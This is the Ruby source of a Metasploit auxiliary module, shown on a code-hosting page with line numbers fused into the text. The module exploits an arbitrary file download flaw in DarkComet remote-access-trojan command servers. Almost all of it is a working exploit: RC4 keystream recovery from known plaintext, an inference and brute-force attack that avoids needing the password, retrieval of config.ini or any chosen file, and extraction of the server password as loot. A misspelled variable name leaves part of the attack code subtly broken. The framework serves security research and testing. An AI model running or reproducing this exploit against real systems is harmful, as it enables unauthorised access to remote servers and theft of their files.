Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/darkcomet_filedownloader.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'DarkComet Server Remote File Download Exploit',12'Description' => %q{13This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.14The exploit does not need to know the password chosen for the bot/server communication.15},16'License' => MSF_LICENSE,17'Author' =>18[19'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery20'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack21],22'References' =>23[24[ 'URL', 'https://www.nccgroup.com/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],25[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]26],27'DisclosureDate' => '2012-10-08',28'Platform' => 'win'29))3031register_options(32[33Opt::RPORT(1604),34Opt::RHOST('0.0.0.0'),3536OptAddressLocal.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),37OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),38OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),39OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),40OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),41OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])4243])44end4546# Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext47def xor_strings(s1, s2)48s1.unpack('C*').zip(s2.unpack('C*')).map { |a, b| a ^ b }.pack('C*')49end5051def get_keystream(ciphertext, known_plaintext)52c = [ciphertext].pack('H*')53if known_plaintext.length > c.length54return xor_strings(c, known_plaintext[0, c.length])55elsif c.length > known_plaintext.length56return xor_strings(c[0, known_plaintext.length], known_plaintext)57else58return xor_strings(c, known_plaintext)59end60end6162def use_keystream(plaintext, keystream)63if keystream.length > plaintext.length64return xor_strings(plaintext, keystream[0, plaintext.length]).unpack('H*')[0].upcase65else66return xor_strings(plaintext, keystream).unpack('H*')[0].upcase67end68end6970# Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)71# since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength72def rc4_initialize(key)73@q1 = 074@q2 = 075@key = []76key.each_byte { |elem| @key << elem } while @key.size < 25677@key.slice!(256..@key.size - 1) if @key.size >= 25678@s = (0..255).to_a79j = 0800.upto(255) do |i|81j = (j + @s[i] + @key[i]) % 25682@s[i], @s[j] = @s[j], @s[i]83end84end8586def rc4_keystream87@q1 = (@q1 + 1) % 25688@q2 = (@q2 + @s[@q1]) % 25689@s[@q1], @s[@q2] = @s[@q2], @s[@q1]90@s[(@s[@q1] + @s[@q2]) % 256]91end9293def rc4_process(text)94text.each_byte.map { |i| (i ^ rc4_keystream).chr }.join95end9697def dc_encryptpacket(plaintext, key)98rc4_initialize(key)99rc4_process(plaintext).unpack('H*')[0].upcase100end101102# Try to execute the exploit103def try_exploit(exploit_string, keystream, bruting)104connect105idtype_msg = sock.get_once(12)106107if idtype_msg.length != 12108disconnect109return nil110end111112if datastore['KEY'] != ''113exploit_msg = dc_encryptpacket(exploit_string, datastore['KEY'])114else115# If we don't have a key we need enough keystream116if keystream.nil?117disconnect118return nil119end120121if keystream.length < exploit_string.length122disconnect123return nil124end125126exploit_msg = use_keystream(exploit_string, keystream)127end128129sock.put(exploit_msg)130131if bruting132begin133ack_msg = sock.timed_read(3, datastore['BRUTETIMEOUT'])134rescue Timeout::Error135disconnect136return nil137end138else139ack_msg = sock.get_once(3)140end141142if ack_msg != "\x41\x00\x43"143disconnect144return nil145# Different protocol structure for versions >= 5.1146elsif datastore['NEWVERSION'] == true147if bruting148begin149filelen = sock.timed_read(10, datastore['BRUTETIMEOUT']).to_i150rescue Timeout::Error151disconnect152return nil153end154else155filelen = sock.get_once(10).to_i156end157if filelen == 0158disconnect159return nil160end161162if datastore['KEY'] != ''163a_msg = dc_encryptpacket('A', datastore['KEY'])164else165a_msg = use_keystream('A', keystream)166end167168sock.put(a_msg)169170if bruting171begin172filedata = sock.timed_read(filelen, datastore['BRUTETIMEOUT'])173rescue Timeout::Error174disconnect175return nil176end177else178filedata = sock.get_once(filelen)179end180181if filedata.length != filelen182disconnect183return nil184end185186sock.put(a_msg)187disconnect188return filedata189else190filedata = ''191192if bruting193begin194msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])195rescue Timeout::Error196disconnect197return nil198end199else200msg = sock.get_once(1024)201end202203while (!msg.nil?) && (msg != '')204filedata += msg205if bruting206begin207msg = sock.timed_read(1024, datastore['BRUTETIMEOUT'])208rescue Timeout::Error209break210end211else212msg = sock.get_once(1024)213end214end215216disconnect217218if filedata == ''219return nil220else221return filedata222end223end224end225226# Fetch a GetSIN response from C2 server227def fetch_getsin228connect229idtype_msg = sock.get_once(12)230231if idtype_msg.length != 12232disconnect233return nil234end235236keystream = get_keystream(idtype_msg, 'IDTYPE')237server_msg = use_keystream('SERVER', keystream)238sock.put(server_msg)239240getsin_msg = sock.get_once(1024)241disconnect242getsin_msg243end244245# Carry out the crypto attack when we don't have a key246def crypto_attack(exploit_string)247getsin_msg = fetch_getsin248if getsin_msg.nil?249return nil250end251252getsin_kp = 'GetSIN' + datastore['LHOST'] + '|'253keystream = get_keystream(getsin_msg, getsin_kp)254255if keystream.length < exploit_string.length256missing_bytecount = exploit_string.length - keystream.length257258print_status("Missing #{missing_bytecount} bytes of keystream ...")259260inferrence_segment = ''261brute_max = 4262263if missing_bytecount > brute_max264print_status("Using inference attack ...")265266# Offsets to monitor for changes267target_offset_range = []268for i in (keystream.length + brute_max)..(keystream.length + missing_bytecount - 1)269target_offset_range << i270end271272# Store inference results273inference_results = {}274275# As long as we haven't fully recovered all offsets through inference276# We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]277getsin_observation = [''] * 4278buffer_head = 0279280for i in 0..2281getsin_observation[i] = [fetch_getsin].pack('H*')282Rex.sleep(0.5)283end284285buffer_tail = 3286287# Actual inference attack happens here288while !target_offset_range.empty?289getsin_observation[buffer_tail] = [fetch_getsin].pack('H*')290Rex.sleep(0.5)291292# We check if we spot a change within a position between two consecutive items within our circular buffer293# (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0294target_offset_range.each do |x|295index = buffer_head296297while index != buffer_tail do298next_index = (index + 1) % 4299300# The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same301# observations as well while being constant in at least one previous or subsequent observation302if (getsin_observation[index][x] != getsin_observation[next_index][x]) && (getsin_observation[index][x - 1] != getsin_observation[next_index][x - 1]) && ((getsin_observation[(index - 1) % 4][x - 1] == getsin_observation[index][x - 1]) || (getsin_observation[next_index][x - 1] == getsin_observation[(next_index + 1) % 4][x - 1]))303target_offset_range.delete(x)304inference_results[x] = xor_strings(getsin_observation[index][x], '9')305break306end307index = next_index308end309end310311# Update circular buffer head & tail312buffer_tail = (buffer_tail + 1) % 4313# Move head to right once tail wraps around, discarding oldest item in circular buffer314if buffer_tail == buffer_head315buffer_head = (buffer_head + 1) % 4316end317end318319# Inference attack done, reconstruct final keystream segment320inf_seg = ["\x00"] * (keystream.length + missing_bytecount)321inferrence_results.each do |x, val|322inf_seg[x] = val323end324325inferrence_segment = inf_seg.slice(keystream.length + brute_max, inf_seg.length).join326missing_bytecount = brute_max327end328329if missing_bytecount > brute_max330print_status("Improper keystream recovery ...")331return nil332end333334print_status("Initiating brute force ...")335336# Bruteforce first missing_bytecount bytes of timestamp (maximum of brute_max)337charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']338char_range = missing_bytecount.times.map { charset }339char_range.first.product(*char_range[1..-1]) do |x|340p = x.join341candidate_plaintext = getsin_kp + p342candidate_keystream = get_keystream(getsin_msg, candidate_plaintext) + inferrence_segment343filedata = try_exploit(exploit_string, candidate_keystream, true)344345if !filedata.nil?346return filedata347end348end349return nil350end351352try_exploit(exploit_string, keystream, false)353end354355def parse_password(filedata)356filedata.each_line { |line|357elem = line.strip.split('=')358if elem.length >= 1359if elem[0] == 'PASSWD'360if elem.length == 2361return elem[1]362else363return ''364end365end366end367}368return nil369end370371def run372# Determine exploit string373if datastore['NEWVERSION'] == true374if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')375exploit_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'376else377exploit_string = 'QUICKUP1|config.ini|'378end379elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')380exploit_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'381else382exploit_string = 'UPLOADconfig.ini|1|1|'383end384385# Run exploit386if datastore['KEY'] != ''387filedata = try_exploit(exploit_string, nil, false)388else389filedata = crypto_attack(exploit_string)390end391392# Harvest interesting credentials, store loot393if !filedata.nil?394# Automatically try to extract password from config.ini if we haven't set a key yet395if datastore['KEY'] == ''396password = parse_password(filedata)397if password.nil?398print_status("Could not find password in config.ini ...")399elsif password == ''400print_status("C2 server uses empty password!")401else402print_status("C2 server uses password [#{password}]")403end404end405406# Store to loot407if datastore['STORE_LOOT'] == true408print_status("Storing data to loot...")409if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')410store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")411else412store_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")413end414else415print_status(filedata.to_s)416end417else418print_error("Attack failed or empty config file encountered ...")419end420end421end422423424